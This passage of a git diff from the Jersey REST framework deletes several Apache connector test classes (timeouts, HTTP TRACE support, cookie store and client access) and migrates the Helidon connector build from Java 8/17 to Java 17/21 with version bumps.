-    protected Application configure() {
-        return new ResourceConfig(StreamingEndpoint.class);
-    }
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     */
-    private void clientCloseTest(int readTimeout) throws IOException {
-        // start streaming
-        AtomicInteger counter = new AtomicInteger(0);
-        Invocation.Builder builder = target().path("/streamingEndpoint").request();
-        if (readTimeout > -1) {
-            counter.set(1);
-            builder.property(ClientProperties.READ_TIMEOUT, readTimeout);
-            builder.property(ApacheClientProperties.CONNECTION_CLOSING_STRATEGY,
-                    (ApacheConnectionClosingStrategy) (config, request, response, stream) -> {
-                try {
-                    stream.close();
-                } catch (Exception e) {
-                    // timeout, no chunk ending
-                } finally {
-                    counter.set(0);
-                    response.close();
-                }
-            });
-        }
-        InputStream inputStream = builder.get(InputStream.class);
-
-        WebTarget sendTarget = target().path("/streamingEndpoint/send");
-        // trigger sending 'A' to the stream; OK is sent if everything on the server was OK
-        assertEquals("OK", sendTarget.request().get().readEntity(String.class));
-        // check 'A' has been sent
-        assertEquals('A', inputStream.read());
-        // closing the stream should tear down the connection
-        inputStream.close();
-        // trigger sending another 'A' to the stream; it should fail
-        // (indicating that the streaming has been terminated on the server)
-        assertEquals("NOK", sendTarget.request().get().readEntity(String.class));
-        assertEquals(0, counter.get());
-    }
-
-    @Singleton
-    @Path("streamingEndpoint")
-    public static class StreamingEndpoint {
-
-        private final ChunkedOutput<String> output = new ChunkedOutput<>(String.class);
-
-        @GET
-        @Path("send")
-        public String sendEvent() {
-            try {
-                output.write("A");
-            } catch (IOException e) {
-                return "NOK";
-            }
-
-            return "OK";
-        }
-
-        @GET
-        @Produces(MediaType.TEXT_PLAIN)
-        public ChunkedOutput<String> get() {
-            return output;
-        }
-
-        @GET
-        @Path("get")
-        @Produces(MediaType.TEXT_PLAIN)
-        public String getString() {
-            return "OK";
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TimeoutTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TimeoutTest.java
deleted file mode 100644
index 7e05fd0..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TimeoutTest.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.net.SocketTimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (final InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        final ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(final ClientConfig config) {
-        config.property(ClientProperties.READ_TIMEOUT, 1000);
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        final Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        try {
-            target("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (final ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(SocketTimeoutException.class));
-        }
-    }
-
-    @Test
-    public void testPerRequestTimeout() {
-        final Response r = target("test/timeout").request()
-                .property(ClientProperties.READ_TIMEOUT, 3000).get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TraceSupportTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TraceSupportTest.java
deleted file mode 100644
index 651cb16..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/TraceSupportTest.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * This very basic resource showcases support of a HTTP TRACE method,
- * not directly supported by JAX-RS API.
- *
- * @author Marek Potociar
- */
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityApacheConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityApacheConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useApacheConnection) throws Exception {
-        try {
-            WebTarget target = useApacheConnection ? getApacheClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getApacheClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingCookieStoreAccessTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingCookieStoreAccessTest.java
deleted file mode 100644
index ad7771f..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingCookieStoreAccessTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.apache.http.client.CookieStore;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-/**
- * Test of access to the underlying CookieStore instance used by the connector.
- *
- * @author Maksim Mukosey (mmukosey at gmail.com)
- */
-public class UnderlyingCookieStoreAccessTest {
-
-    @Test
-    public void testCookieStoreInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-        final CookieStore csOnClient = ApacheConnectorProvider.getCookieStore(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getCookieStore method above.
-        final WebTarget target = client.target("http://localhost/");
-        final CookieStore csOnTarget = ApacheConnectorProvider.getCookieStore(target);
-
-        assertNotNull(csOnClient, "CookieStore instance set on JerseyClient should not be null.");
-        assertNotNull(csOnTarget, "CookieStore instance set on JerseyWebTarget should not be null.");
-        assertSame(csOnClient, csOnTarget, "CookieStore instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingHttpClientAccessTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 5d9704f..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.apache.http.client.HttpClient;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-/**
- * Test of access to the underlying HTTP client instance used by the connector.
- *
- * @author Marek Potociar
- */
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new ApacheConnectorProvider()));
-        final HttpClient hcOnClient = ApacheConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = ApacheConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-}
diff --git a/connectors/apache5-connector/pom.xml b/connectors/apache5-connector/pom.xml
index 616f425..5407b04 100644
--- a/connectors/apache5-connector/pom.xml
+++ b/connectors/apache5-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-apache5-connector</artifactId>
diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml
index 4e8c6c2..a1c71b4 100644
--- a/connectors/grizzly-connector/pom.xml
+++ b/connectors/grizzly-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-grizzly-connector</artifactId>
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml
index 6451a4a..57556b7 100644
--- a/connectors/helidon-connector/pom.xml
+++ b/connectors/helidon-connector/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.connectors</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -32,17 +32,17 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target</java17.build.outputDirectory>
         <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+        <java21.build.outputDirectory>${project.basedir}/target21</java21.build.outputDirectory>
+        <java21.sourceDirectory>${project.basedir}/src/main/java21</java21.sourceDirectory>
     </properties>
 
     <dependencies>
         <dependency>
             <groupId>io.helidon.jersey</groupId>
             <artifactId>helidon-jersey-connector</artifactId>
-            <version>${helidon.connector.version}</version>
+            <version>${helidon.jersey.connector.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -91,45 +91,7 @@
         <profile>
             <id>HelidonExclude</id>
             <activation>
-                <jdk>[1.8,17)</jdk>
-            </activation>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/helidon/connector/sse/*.java</testExclude>
-                                <testExclude>org/glassfish/jersey/helidon/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>HelidonInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[17,21)</jdk>
             </activation>
             <build>
                 <directory>${java17.build.outputDirectory}</directory>
@@ -151,17 +113,55 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/helidon/connector/sse/*.java</testExclude>
+                                <testExclude>org/glassfish/jersey/helidon/connector/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
+            <id>HelidonInclude</id>
+            <activation>
+                <jdk>[21,)</jdk>
+            </activation>
+            <build>
+                <directory>${java21.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java21.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK21FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.class</exists>
+                    <!-- ${java21.build.outputDirectory} does not work here -->
+                    <exists>target21/classes/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.class</exists>
                 </file>
-                <jdk>[1.8,17)</jdk>
+                <jdk>[17,21)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -182,16 +182,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk17-classes</id>
+                                <id>copy-jdk21-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
+                                    <outputDirectory>${java17.build.outputDirectory}/classes/META-INF/versions/21</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
+                                            <directory>${java21.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -203,14 +203,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk17-sources</id>
+                                <id>copy-jdk21-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java17.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
+                                            <zipfileset dir="${java21.sourceDirectory}" prefix="META-INF/versions/21"/>
                                         </zip>
                                     </target>
                                 </configuration>
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index 93baa42..7ca77a1 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,21 +15,17 @@
  */
 package org.glassfish.jersey.helidon.connector;
 
-import io.helidon.jersey.connector.HelidonProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 
-import io.helidon.config.Config;
-import io.helidon.webclient.WebClient;
-
 /**
- * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}.
+ * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}
  * @since 2.31
  */
 @PropertiesClass
 public final class HelidonClientProperties {
 
     /**
-     * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available
+     * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available.
      */
-    public static final String CONFIG = HelidonProperties.CONFIG;
+    public static final String CONFIG = "jersey.connector.helidon.config";
 }
diff --git a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
index aa1540a..155a54c 100644
--- a/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ b/connectors/helidon-connector/src/main/java17/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.helidon.connector;
 
-import org.glassfish.jersey.Beta;
 import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.internal.util.JdkVersion;
 
 import jakarta.ws.rs.ProcessingException;
@@ -26,51 +26,17 @@
 import java.io.OutputStream;
 
 /**
- * Provider for Helidon WebClient {@link Connector} that utilizes the Helidon HTTP Client to send and receive
- * HTTP request and responses. JDK 8 is not supported by the Helidon Connector.
- * <p>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}</li>
- * <li>{@link HelidonClientProperties#CONFIG}</li>
- * </ul>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
- * entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
- * after processing the response to release connection-based resources.
- * </p>
- * <p>
- * Client operations are thread safe, the HTTP connection may
- * be shared between different threads.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link java.io.Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * </p>
- * <p>
- * This connector uses {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} to buffer the entity
- * written for instance by {@link jakarta.ws.rs.core.StreamingOutput}. Should the buffer be small and
- * {@link jakarta.ws.rs.core.StreamingOutput#write(OutputStream)} be called many times, the performance can drop. The Content-Length
- * or the Content_Encoding header is set by the underlaying Helidon WebClient regardless of the
- * {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} size, however.
- * </p>
+ * Helidon Connector stub which only throws exception when running on JDK prior to 21.
+ * New Helidon 3 does not support JDKs prior to 21.
  *
- * @since 2.31
+ * @since 3.0.5
  */
-@Beta
-public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+public class HelidonConnectorProvider implements ConnectorProvider {
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+        if (JdkVersion.getJdkVersion().getMajor() < 21) {
             throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
-        return super.getConnector(client, runtimeConfig);
+        return null;
     }
 }
diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
similarity index 73%
rename from connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
rename to connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index d1e8ee1..5f47b6b 100644
